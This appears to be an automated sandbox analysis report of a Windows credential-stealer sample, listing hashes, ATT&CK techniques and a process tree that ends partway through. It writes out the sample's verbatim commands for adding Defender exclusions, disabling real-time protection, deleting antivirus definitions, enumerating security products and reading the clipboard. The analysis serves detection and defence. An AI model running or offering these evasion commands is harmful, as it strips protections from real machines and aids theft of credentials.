03c1ec8bc469eb4b5cd4606ad570f3e0daddb204b3b5618717f713fa2de527a4

Analysis

max time kernel
149s
max time network
125s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/09/2026, 22:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Size 11.0MB
Sample260926-2skyaagh95
SHA256 03c1ec8bc469eb4b5cd4606ad570f3e0daddb204b3b5618717f713fa2de527a4
MD5 52825ee7bfa74f6b90d0a37813cfb130
SHA1 7a9199fa3d8028eb5c2db1a581ed9de981ec9f17
SHA512 9ca58362a9291f288ff1a3bae9708d5dcdddb5cfeffac67d200e341755df5fdbe27fd46205b1d22c1fc22d6f1678ad01da6b3753f4970860b1f9eee0e0a88cd3
SSDEEP 196608:ASL5tIOJwVqiqpCJkO87wygVwQUO6vlTmHAGh64HsF5PPNaSRrdZRgF0xnE8Dzn9:ddasTf5QvShmHvxHsF5laSRZZY6Hn46
TLSH
T198C633A46FC104A6E9AA503EA967C50BF3B178616B92D7DF077857112E2B0D24F3F321
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4868	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1084	powershell.exe
3176	powershell.exe
1924	powershell.exe
5936	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5936	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5632	powershell.exe
2856	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3836	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 8 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2936	tasklist.exe
5444	tasklist.exe
2796	tasklist.exe

UPX packed file 62 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c4ff-35.dat	upx
behavioral2/memory/804-39-0x00007FFB0B680000-0x00007FFB0BD88000-memory.dmp	upx
behavioral2/files/0x000d00000001c4ec-41.dat	upx
behavioral2/memory/804-44-0x00007FFB226B0000-0x00007FFB226D9000-memory.dmp	upx
behavioral2/memory/804-46-0x00007FFB226A0000-0x00007FFB226AF000-memory.dmp	upx
behavioral2/files/0x000d00000001c4ea-47.dat	upx
behavioral2/files/0x000d00000001c4ef-49.dat	upx
behavioral2/files/0x000d00000001c4f7-51.dat	upx
behavioral2/memory/804-55-0x00007FFB22650000-0x00007FFB2267C000-memory.dmp	upx
behavioral2/files/0x000d00000001c4f2-57.dat	upx
behavioral2/files/0x000d00000001c4f6-59.dat	upx
behavioral2/files/0x000d00000001c4ee-64.dat	upx
behavioral2/memory/804-67-0x00007FFB22600000-0x00007FFB22614000-memory.dmp	upx
behavioral2/files/0x000d00000001c4fa-66.dat	upx
behavioral2/memory/804-62-0x00007FFB22630000-0x00007FFB2263F000-memory.dmp	upx
behavioral2/memory/804-58-0x00007FFB22640000-0x00007FFB2264D000-memory.dmp	upx
behavioral2/memory/804-54-0x00007FFB1FD20000-0x00007FFB1FDA0000-memory.dmp	upx
behavioral2/memory/804-53-0x00007FFB22680000-0x00007FFB2269A000-memory.dmp	upx
behavioral2/files/0x000d00000001c4fb-45.dat	upx
behavioral2/memory/804-69-0x00007FFB0B140000-0x00007FFB0B671000-memory.dmp	upx
behavioral2/files/0x000d00000001c4f3-70.dat	upx
behavioral2/memory/804-74-0x00007FFB1F620000-0x00007FFB1F63A000-memory.dmp	upx
behavioral2/memory/804-73-0x00007FFB0B680000-0x00007FFB0BD88000-memory.dmp	upx
behavioral2/files/0x000d00000001c4f5-72.dat	upx
behavioral2/memory/804-77-0x00007FFB1E700000-0x00007FFB1E734000-memory.dmp	upx
behavioral2/files/0x000d00000001c4fc-78.dat	upx
behavioral2/memory/804-80-0x00007FFB12350000-0x00007FFB1241E000-memory.dmp	upx
behavioral2/memory/804-79-0x00007FFB226B0000-0x00007FFB226D9000-memory.dmp	upx
behavioral2/files/0x000d00000001c4f4-86.dat	upx
behavioral2/memory/804-89-0x00007FFB17730000-0x00007FFB17755000-memory.dmp	upx
behavioral2/files/0x000d00000001c512-88.dat	upx
behavioral2/files/0x000d00000001c502-92.dat	upx
behavioral2/memory/804-95-0x00007FFB1F4C0000-0x00007FFB1F4CD000-memory.dmp	upx
behavioral2/files/0x000d00000001c513-94.dat	upx
behavioral2/memory/804-97-0x00007FFB12290000-0x00007FFB1234E000-memory.dmp	upx
behavioral2/memory/804-98-0x00007FFB22630000-0x00007FFB2263F000-memory.dmp	upx
behavioral2/memory/804-91-0x00007FFB0C460000-0x00007FFB0C5EA000-memory.dmp	upx
behavioral2/memory/804-132-0x00007FFB22600000-0x00007FFB22614000-memory.dmp	upx
behavioral2/memory/804-136-0x00007FFB0B140000-0x00007FFB0B671000-memory.dmp	upx
behavioral2/memory/804-202-0x00007FFB1E700000-0x00007FFB1E734000-memory.dmp	upx
behavioral2/memory/804-235-0x00007FFB12350000-0x00007FFB1241E000-memory.dmp	upx
behavioral2/memory/804-234-0x00007FFB12290000-0x00007FFB1234E000-memory.dmp	upx
behavioral2/memory/804-218-0x00007FFB0B680000-0x00007FFB0BD88000-memory.dmp	upx
behavioral2/memory/804-231-0x00007FFB17730000-0x00007FFB17755000-memory.dmp	upx
behavioral2/memory/804-280-0x00007FFB0C460000-0x00007FFB0C5EA000-memory.dmp	upx
behavioral2/memory/804-305-0x00007FFB22680000-0x00007FFB2269A000-memory.dmp	upx
behavioral2/memory/804-303-0x00007FFB226B0000-0x00007FFB226D9000-memory.dmp	upx
behavioral2/memory/804-309-0x00007FFB22630000-0x00007FFB2263F000-memory.dmp	upx
behavioral2/memory/804-314-0x00007FFB12350000-0x00007FFB1241E000-memory.dmp	upx
behavioral2/memory/804-317-0x00007FFB1F4C0000-0x00007FFB1F4CD000-memory.dmp	upx
behavioral2/memory/804-316-0x00007FFB0C460000-0x00007FFB0C5EA000-memory.dmp	upx
behavioral2/memory/804-315-0x00007FFB17730000-0x00007FFB17755000-memory.dmp	upx
behavioral2/memory/804-311-0x00007FFB0B140000-0x00007FFB0B671000-memory.dmp	upx
behavioral2/memory/804-313-0x00007FFB1E700000-0x00007FFB1E734000-memory.dmp	upx
behavioral2/memory/804-302-0x00007FFB0B680000-0x00007FFB0BD88000-memory.dmp	upx
behavioral2/memory/804-310-0x00007FFB22600000-0x00007FFB22614000-memory.dmp	upx
behavioral2/memory/804-312-0x00007FFB1F620000-0x00007FFB1F63A000-memory.dmp	upx
behavioral2/memory/804-308-0x00007FFB22640000-0x00007FFB2264D000-memory.dmp	upx
behavioral2/memory/804-307-0x00007FFB1FD20000-0x00007FFB1FDA0000-memory.dmp	upx
behavioral2/memory/804-306-0x00007FFB22650000-0x00007FFB2267C000-memory.dmp	upx
behavioral2/memory/804-304-0x00007FFB226A0000-0x00007FFB226AF000-memory.dmp	upx
behavioral2/memory/804-318-0x00007FFB12290000-0x00007FFB1234E000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 24 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2888	cmd.exe
6012	cmd.exe
4648	cmd.exe
3648	cmd.exe
1072	cmd.exe
1112	cmd.exe
2460	cmd.exe
1644	cmd.exe
2560	cmd.exe
248	cmd.exe
4244	cmd.exe
4604	cmd.exe
2624	cmd.exe
3080	cmd.exe
3700	cmd.exe
1304	cmd.exe
2904	cmd.exe
1808	cmd.exe
1944	cmd.exe
1412	cmd.exe
52	cmd.exe
3456	cmd.exe
4524	cmd.exe
2612	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2560	cmd.exe
5032	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
6024	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2592	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
5936	powershell.exe
5936	powershell.exe
1084	powershell.exe
1084	powershell.exe
4880	WMIC.exe
4880	WMIC.exe
4880	WMIC.exe
4880	WMIC.exe
5936	powershell.exe
5936	powershell.exe
1084	powershell.exe
1084	powershell.exe
5632	powershell.exe
5632	powershell.exe
5236	powershell.exe
5236	powershell.exe
5236	powershell.exe
5632	powershell.exe
3176	powershell.exe
3176	powershell.exe
3176	powershell.exe
5252	powershell.exe
5252	powershell.exe
5252	powershell.exe
236	WMIC.exe
236	WMIC.exe
236	WMIC.exe
236	WMIC.exe
5464	WMIC.exe
5464	WMIC.exe
5464	WMIC.exe
5464	WMIC.exe
2552	WMIC.exe
2552	WMIC.exe
2552	WMIC.exe
2552	WMIC.exe
1924	powershell.exe
1924	powershell.exe
1924	powershell.exe
6024	WMIC.exe
6024	WMIC.exe
6024	WMIC.exe
6024	WMIC.exe
2644	powershell.exe
2644	powershell.exe
2644	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5936	powershell.exe
Token: SeDebugPrivilege	1084	powershell.exe
Token: SeDebugPrivilege	5444	tasklist.exe
Token: SeDebugPrivilege	2936	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4880	WMIC.exe
Token: SeSecurityPrivilege	4880	WMIC.exe
Token: SeTakeOwnershipPrivilege	4880	WMIC.exe
Token: SeLoadDriverPrivilege	4880	WMIC.exe
Token: SeSystemProfilePrivilege	4880	WMIC.exe
Token: SeSystemtimePrivilege	4880	WMIC.exe
Token: SeProfSingleProcessPrivilege	4880	WMIC.exe
Token: SeIncBasePriorityPrivilege	4880	WMIC.exe
Token: SeCreatePagefilePrivilege	4880	WMIC.exe
Token: SeBackupPrivilege	4880	WMIC.exe
Token: SeRestorePrivilege	4880	WMIC.exe
Token: SeShutdownPrivilege	4880	WMIC.exe
Token: SeDebugPrivilege	4880	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4880	WMIC.exe
Token: SeRemoteShutdownPrivilege	4880	WMIC.exe
Token: SeUndockPrivilege	4880	WMIC.exe
Token: SeManageVolumePrivilege	4880	WMIC.exe
Token: 33	4880	WMIC.exe
Token: 34	4880	WMIC.exe
Token: 35	4880	WMIC.exe
Token: 36	4880	WMIC.exe
Token: SeDebugPrivilege	2796	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4880	WMIC.exe
Token: SeSecurityPrivilege	4880	WMIC.exe
Token: SeTakeOwnershipPrivilege	4880	WMIC.exe
Token: SeLoadDriverPrivilege	4880	WMIC.exe
Token: SeSystemProfilePrivilege	4880	WMIC.exe
Token: SeSystemtimePrivilege	4880	WMIC.exe
Token: SeProfSingleProcessPrivilege	4880	WMIC.exe
Token: SeIncBasePriorityPrivilege	4880	WMIC.exe
Token: SeCreatePagefilePrivilege	4880	WMIC.exe
Token: SeBackupPrivilege	4880	WMIC.exe
Token: SeRestorePrivilege	4880	WMIC.exe
Token: SeShutdownPrivilege	4880	WMIC.exe
Token: SeDebugPrivilege	4880	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4880	WMIC.exe
Token: SeRemoteShutdownPrivilege	4880	WMIC.exe
Token: SeUndockPrivilege	4880	WMIC.exe
Token: SeManageVolumePrivilege	4880	WMIC.exe
Token: 33	4880	WMIC.exe
Token: 34	4880	WMIC.exe
Token: 35	4880	WMIC.exe
Token: 36	4880	WMIC.exe
Token: SeDebugPrivilege	5632	powershell.exe
Token: SeDebugPrivilege	5236	powershell.exe
Token: SeIncreaseQuotaPrivilege	5936	powershell.exe
Token: SeSecurityPrivilege	5936	powershell.exe
Token: SeTakeOwnershipPrivilege	5936	powershell.exe
Token: SeLoadDriverPrivilege	5936	powershell.exe
Token: SeSystemProfilePrivilege	5936	powershell.exe
Token: SeSystemtimePrivilege	5936	powershell.exe
Token: SeProfSingleProcessPrivilege	5936	powershell.exe
Token: SeIncBasePriorityPrivilege	5936	powershell.exe
Token: SeCreatePagefilePrivilege	5936	powershell.exe
Token: SeBackupPrivilege	5936	powershell.exe
Token: SeRestorePrivilege	5936	powershell.exe
Token: SeShutdownPrivilege	5936	powershell.exe
Token: SeDebugPrivilege	5936	powershell.exe
Token: SeSystemEnvironmentPrivilege	5936	powershell.exe
Token: SeRemoteShutdownPrivilege	5936	powershell.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 804	5076	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	89
PID 804 wrote to memory of 2612	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	91
PID 804 wrote to memory of 4604	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	92
PID 2612 wrote to memory of 1084	2612	cmd.exe	95
PID 4604 wrote to memory of 5936	4604	cmd.exe	96
PID 804 wrote to memory of 2460	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	97
PID 804 wrote to memory of 2624	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	98
PID 804 wrote to memory of 3080	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	101
PID 804 wrote to memory of 2856	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	102
PID 804 wrote to memory of 1412	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	104
PID 804 wrote to memory of 1644	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	105
PID 804 wrote to memory of 2888	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	106
PID 804 wrote to memory of 2560	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	107
PID 804 wrote to memory of 2688	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	113
PID 2460 wrote to memory of 2936	2460	cmd.exe	114
PID 2624 wrote to memory of 5444	2624	cmd.exe	116
PID 3080 wrote to memory of 4880	3080	cmd.exe	117
PID 1412 wrote to memory of 2796	1412	cmd.exe	118
PID 2560 wrote to memory of 5032	2560	cmd.exe	119
PID 2856 wrote to memory of 5632	2856	cmd.exe	120
PID 2688 wrote to memory of 5236	2688	cmd.exe	121
PID 1644 wrote to memory of 5004	1644	cmd.exe	122
PID 2888 wrote to memory of 2592	2888	cmd.exe	123
PID 804 wrote to memory of 3700	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	124
PID 3700 wrote to memory of 2540	3700	cmd.exe	126
PID 5236 wrote to memory of 4676	5236	powershell.exe	127
PID 804 wrote to memory of 52	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	128
PID 52 wrote to memory of 1880	52	cmd.exe	130
PID 804 wrote to memory of 248	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	131
PID 248 wrote to memory of 5464	248	cmd.exe	160
PID 804 wrote to memory of 3456	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	135
PID 3456 wrote to memory of 6004	3456	cmd.exe	137
PID 804 wrote to memory of 1304	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	138
PID 4676 wrote to memory of 1216	4676	csc.exe	140
PID 4604 wrote to memory of 4868	4604	cmd.exe	171
PID 1304 wrote to memory of 1324	1304	cmd.exe	142
PID 804 wrote to memory of 4244	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	143
PID 4244 wrote to memory of 3176	4244	cmd.exe	145
PID 804 wrote to memory of 2904	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	146
PID 2904 wrote to memory of 5252	2904	cmd.exe	148
PID 804 wrote to memory of 6012	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	149
PID 6012 wrote to memory of 1140	6012	cmd.exe	151
PID 804 wrote to memory of 4648	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	152
PID 4648 wrote to memory of 3836	4648	cmd.exe	154
PID 804 wrote to memory of 3648	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	155
PID 3648 wrote to memory of 236	3648	cmd.exe	157
PID 804 wrote to memory of 1072	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	158
PID 1072 wrote to memory of 5464	1072	cmd.exe	160
PID 804 wrote to memory of 1808	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	161
PID 1808 wrote to memory of 2552	1808	cmd.exe	163
PID 804 wrote to memory of 1944	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	164
PID 1944 wrote to memory of 1924	1944	cmd.exe	166
PID 804 wrote to memory of 1112	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	167
PID 1112 wrote to memory of 6024	1112	cmd.exe	169
PID 804 wrote to memory of 4524	804	2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	170
PID 4524 wrote to memory of 2644	4524	cmd.exe	172

C:\Users\Admin\AppData\Local\Temp\2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Users\Admin\AppData\Local\Temp\2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
  2⤵
  - Loads dropped DLL
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2612
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-09-26_52825ee7bfa74f6b90d0a37813cfb130_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5936
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:4868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2460
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3080
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:2856
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
